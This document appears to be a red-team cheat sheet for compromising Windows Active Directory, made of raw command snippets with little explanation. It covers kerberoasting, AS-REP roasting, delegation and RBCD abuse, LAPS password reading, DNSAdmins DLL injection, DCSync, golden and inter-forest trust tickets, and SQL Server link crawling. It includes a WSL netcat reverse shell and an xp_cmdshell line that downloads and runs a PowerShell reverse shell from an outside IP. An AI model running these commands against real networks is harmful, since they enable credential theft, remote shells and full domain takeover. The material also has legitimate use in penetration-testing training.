Get-NetUser –SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} Properties ServicePrincipalName
Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
Request-SPNTicket
# RoastRubeus.exe kerberoast /simple /nowrap [/user:USER] [/domain:DOMAIN] [/dc:DC]​# Crackhashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force
# Check they have been granted:klist​# Export using MimikatzInvoke-Mimikatz -Command '"kerberos::list /export"'​# Crackpython.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\240a10000-student.kirbi
Get-DomainUser -PreauthNotRequired -Verbose
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
# Checking current groups ACL rights:Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}​# Disabling kerberos pre-auth for a user:Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} –Verbose
# Get the hashes of allRubeus.exe asreproast /format:hashcat /nowrap [/user:USER] [/outfile:FILEPATH]​# Crack with hashcathashcat asreproast.txt -m 18200 /usr/share/wordlists/rockyou.txt --force
# Use ASREPRoast:Get-ASREPHash -UserName VPN1user -Verbose​# Do all automatically:Invoke-ASREPRoast -Verbose​# Crack using John./john vpn1user.txt --wordlist=wordlist.txt
# Viewing our ACL permissions:Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}​# Check if user has SPN:Get-DomainUser -Identity supportuser | select serviceprincipalname
# Check if user has SPN already:Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
Set-DomainObject -Identity USER -SET @{serviceprincipalname='ops/whatever1'}​## Clean upSet-DomainObject -Identity USER -clear serviceprincipalname
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}
Extraction and cracking same as kerberoasting.
Get-NetComputer -UnConstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True}Get-ADUser -Filter {TrustedForDelegation -eq $True}
# Printer bug https://github.com/leechristensen/SpoolSample​# Listen with Rubeus.\Rubeus.exe monitor /interval:5​# Use printer bug.\SpoolSample_v4.5_x64..exe TARGET CAPTURE​# Use ticketRubeus.exe ptt /ticket:<base64ticket>
# Look at tickets on system (run as system to see all)Rubeus.exe triage​# Get ticketRubeus.exe dump /luid:TICKETLUID /nowrap​# Use ticketRubeus.exe ptt [/ticket:BASE64TICKET] [/luid:LUID]
# Export:Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'​# PTT:Invoke-Mimikatz -Command '"kerberos::ptt C:\Documents\user1\[0;2ceb8b3]-2.kirbi"'
# Which User/CompGet-DomainUser –TrustedToAuthGet-DomainComputer –TrustedToAuth​# What can the found users/comps doGet-DomainUser USER -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegatetoGet-DomainComputer COMP -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Need NTLM hash or clear creds for the user with constrained delegation
===DCSYNC===# On comp with contrained delegation rights for time\dcorp-dc.# hash is of the machine accountRubeus.exe s4u /user:COMP$ /rc4:HASH /impersonateuser:Administrator /msdsspn:"time/DC.DOMAIN.LOCAL" /altservice:LDAP,cifs /ptt​#DCsyncdcsync DOMAIN DOMAIN\krbtgt​===FILESHARE===# On user with constrained delegation rights for CIFS\COMP# Hash is of the user with delegation rightsRubeus.exe s4u /user:USER /rc4:HASH /impersonateuser:Administrator /msdsspn:"CIFS/COMP" /ptt​# Check Accessls \\COMP\c$\
===DCSYNC===## Request TGT with Kekeotgt::ask /user:COMP$ /domain:DOMAIN /rc4:HASH​## Request TGS with Kekeotgs::s4u /tgt:TGT.kirbi /user:Administrator@DOMAIN /service:time/DC.DOMAIN.local|ldap/DC.DOMAIN.local​## Extract TicketInvoke-Mimikatz -Command '"kerberos::ptt TGS_.kirbi"'​## DCSyncInvoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\krbtgt"'===FILE SHARE===## Request TGT with Kekeokekeo# tgt::ask /user:USER /domain:DOMAIN /rc4:HASH​## Next request TGS with kekeo (note cifs service id on end)tgs::s4u /tgt:TGT_.kirbi /user:Administrator@DOMAIN /service:cifs/COMP-FQDN## Inject ticket with mimikatzInvoke-Mimikatz -Command '"kerberos::ptt TGS_.kirbi"'​## Check it workedls \\COMP-FQDN\c$
# ACL can be found with BH or invoke-acl scanner / get-acl etc.# Need to control a machine with SPN or ability to add a domain machine (normal user)# Also need write permissoion on a computer object
Import-Module .\Powermad.psd1​New-MachineAccount -Domain offensiveps.powershell.local -DomainController 192.168.2.1 -MachineAccount AttackCompObj -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose
# Import AD ModuleImport-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dllImport-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1​# Set RBCD on TargetSet-ADComputer <targethostname> -PrincipalsAllowedToDelegateToAccount <AttackCompObj>$ -Verbose
# Create hash of plaintext password if creating a new machine.\Rubeus.exe hash /password:<computerobjpassowrd>​# Request TGS.\Rubeus.exe s4u /user:AttackCompObj$ /rc4:HASH /msdsspn:http/<target> /impersonateuser:Administrator /ptt​# HTTP allows psremoteEnter-pssession -computername <target>
# Easiest done with the LAPS powershell module​# Get OU with powerviewGet-NetOU​# Import moduleImport-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1​# Find the OUs that can read LAPS passwordsFind-AdmPwdExtendedRights -Identity <OU>
# Basic but reliableGet-NetOU -FullData​# Script to get in nice format (unreliable)Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } | ForEach-Object { $_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID; $_ }
# Once we have compromised a user that sits within an OU that can read LAPSGet-AdmPwdPassword -ComputerName <targetmachine>​# After gaining password you can log in to machine as <targetmachine>\Administrator​# If we have SYSTEM on a LAPS machine, we can alter the password expiration time so we can persist longer on the machine.​# If we have DA we can modify ACLs of computer objects to provide attackers with permissions to read passwords in clear.​# Client component (C:\Program Files\LAPS\CSE\AdmPwd.dll) has no integrity check and can be replaced with malicious dll for attacks such as known password, long expiration time etc.
# Once we have compromised user with privs:Get-ADObject -SamAccountName <targetmachine$> | select ExpandProperty ms-mcs-admpwd
# Once we have compromised user with privs:Get-ADComputer -Identity <targetmachine> -Properties msmcs-admpwd | select -ExpandProperty ms-mcs-admpwd
JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.
AD descriptions. So far havent seen any official way to scan for them.​# Role Capability file (Visible cmdlets etc)New-PSRoleCapabilityFile -Path .\JEA.psrc​# Session configuration files (user mappings and role definitions)New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\JEA.psscRegister-PSSessionConfiguration -Path .\JEA.pssc -Name 'Persist' -Force​# If you can find .pssc or .psrc files then they can help breakout.
# Connect to JEA endpointEnter-PSSession -ComputerName <target> -ConfigurationName <config name>​# Enum commands available, look them up in docs to see what is possibleGet-Command​# Some dangerous cmdletsstart-processadd-computernew-iissiteset-pssessionconfiguration (set-pssessionconfiguration -Name <profilename> -SecurityDescriptorSDDL <SDDL>)(https://gist.github.com/jborean93/6d9aaf868d1d40344188984ebb431b04)
# PSWA can be used to get a powershell session on port 443.# Default pathhttps://hostname/pswa​# Requires admin creds, available cmdlets can be restrictedGet-Command
# Depends on config, but look for sensitive commands and binaries.Net.exeReg.exeInvoke-CommandStart-Process​# If a breakout is needed refer to JEA as well.
# InstallInstall-WindowsFeature -Name WindowsPowerShellWebAccess​# ConfigureInstall-PswaWebApplication -useTestCertificate​# Configure Rules (Wildcard * can be used for all values allowing all users / cmds)Add-PswaAuthorizationRule -UserName <domain\user> -ComputerName <computer_name> -ConfigurationName <session_configuration_name>
# Find linux distro on windows host, should see binaries and filesystem​# Can access files like on linux /etc/shadow etc.​# Worth looking for keytab files. These allow linux to talk kerberos and can be cracked. https://github.com/sosdave/KeyTabExtractpython3 keytabextract.py /root/ADShare/wslhost.keytab
# Run windows binaries with bashbash.exe -c cmd.exe​# Run windows binaries with wslwsl.exe cmd.exe​# These run with permissions of WSL process, as current windows user.​# Reverse Shellwsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 192.168.100.1 443 1>/tmp/backpipe​# Can be useful for stealth since its harder to detect malicious activity on WSL. ELF persistance would be very good.
# With device guard you will be in a shell with no language mode and app whitelisting.​# List policiesGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# Known also as CLM bypasses, there are several online.# Typically windows signed binaries allowed, worth trying:Procdump.exePsexec.exeReg.exe​# CLM Bypasses:​
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
Compromise DNSAdmin user is necessary to perform abuse​# Configure DLL using dnscmd.exe:dnscmd DC /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll​# Configure DLL using DNSServer module:$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc Verbose -All$dnsettings.ServerLevelPluginDll = "\\172.16.50.100\dll\mimilib.dll"Set-DnsServerSetting -InputObject $dnsettings -ComputerName DC -Verbose​# Restart DNS Servicesc \\DC stop dnssc \\DC start dns​# By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log
# Exchange groups have high permissions.Look for groups such as:Organization Management (Full control over exchange windows permissions group)Exchange Windows Permissions (WriteDACL on domain object pre server 2019)Exchange Trusted SubSystem (can modify DACL of DNSAdmins and others, local admin to exchange servers)
# Own user in groups above or own exchange server# PTH as user or exchange server​# Import ADModule and RACEImport-Module .\ADModulemaster\Microsoft.ActiveDirectory.Management.dllImport-Module .\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1. .\RACE.ps1​# Give user access to DCSet-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'DC=techcorp,DC=local' -Server techcorp.local -Verbose​# Give DCSyncSet-ADACL -SamAccountName DOMAIN\USER DistinguishedName 'DC=techcorp,DC=local' -GUIDRight DCSync -Server techcorp.local -Verbose​# (As DA)Giving user WriteDACL over windows exhchange group for persistanceSet-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -SAMAccountName DOMAIN\USER -Verbose​# (As user now added) Use that priv to modify acl of windows permissions and give write memberSet-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -GUIDRight WriteMember -Server techcorp.local -Verbose
# Mimikatz trustInvoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName DC​# Mimikatz dcsyncInvoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\TARGETDOMAIN$"'
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-1874506631-3250652063-538504511 /sids:S-15-21-280534878-14999702234-700767426-519 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.LOCAL /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
Command | Function |
Kerberos::golden | Mimikatz Module |
/domain:DOMAIN.LOCAL | FQDN of the current domain |
/sid:S-1-5-21-166606631-311152063-538504511 | SID of the current domain |
/sids:S-1-5-21-282224878-1496977734-700767426-519 | SID of the enterprise admins group of the parent domain |
/rc4:HASH | RC4 of the trust key |
/user:Administrator | User to impersonate |
/service:krbtgt | Target service in the parent domain |
/target:TARGETDOMAIN.LOCAL | FQDN of the parent domain |
/ticket:C:\AD\Tools\kekeo\trust_tkt.kirbi | Path where ticket is to be saved |
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/DC.DOMAIN
# Convert and use TGS.\kirbikator.exe lsa .\CIFS.DC.DOMAIN.kirbi​# Accessls \\DC.DOMAIN\c$
# Get krbtgtInvoke-Mimikatz -Command '"lsadump::lsa /patch"'​# Create tokenInvoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:HASH /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
In the above command, the mimkatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.
# PTTInvoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'​# Accessls \\DC.DOMAIN.local\c$​gwmi -class win32_operatingsystem -ComputerName dc.DOMAIN.local
Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:DOMAIN.local /sid:S-1-5-211874506631-3219952063-538504511 /groups:516 /sids:S-1-521-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:HASH /ptt"'​# S-1-5-21-2578538781-2508153159-3419410681-516 – Domain Controllers# S-1-5-9 – Enterprise Domain Controllers​# Looks like DCs talking between each other and still grants us a ticket for the enterprise DCs.
# Mimikatz trustInvoke-Mimikatz -Command '"lsadump::trust /patch"'​# Mimikatz dumpInvoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi"'
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/TARGET-dc.DOMAIN.local
# Use TGS to access service.\kirbikator.exe lsa .\CIFS.TARGET-dc.DOMAIN.local.kirbi​# Found file share:Invoke-ShareFinder -Domain DOMAIN.local​# Check Accessls \\TARGET-dc.DOMAIN.local\SharedwithDCorp\
PowerUpSQL: https://github.com/NetSPI/PowerUpSQL​
# Discovery (SPN Scanning):Get-SQLInstanceDomain​# Check Accessibility:Get-SQLConnectionTestThreaded​# Use together:Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose​# Gather Information:Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Look for links to remote serversGet-SQLServerLink -Instance instance-mssql -Verbose​# Enumerating nested database linksGet-SQLServerLinkCrawl -Instance instance-mssql -Verbose
# look for links to remote serversselect * from openquery("INSTANCE",'select * from master..sysservers')​# Enumerating nested database linksselect * from openquery("INSTANCE",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"
# Executes command over linkGet-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"​# shellGet-SQLServerLinkCrawl -Instance INSTANCE -Query "powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443"
# Executes command over nested linksselect * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.
# Import ADModule​# Detect if current forest is PAM trustGet-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}​# Enumerate Shadow PrincipalsGet-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl​# Enumerate if current forest is managed by a bastion forestGet-ADTrust -Filter {(ForestTransitive -eq $True)}# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External = PAM
# Find users with shadow principals and names of shadow principal objectsGet-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl​# Add a compromised user to the groupSet-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=gcbsec,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=gcbsec,DC=local"}​# Once compromised you can manage forests with EA permissions.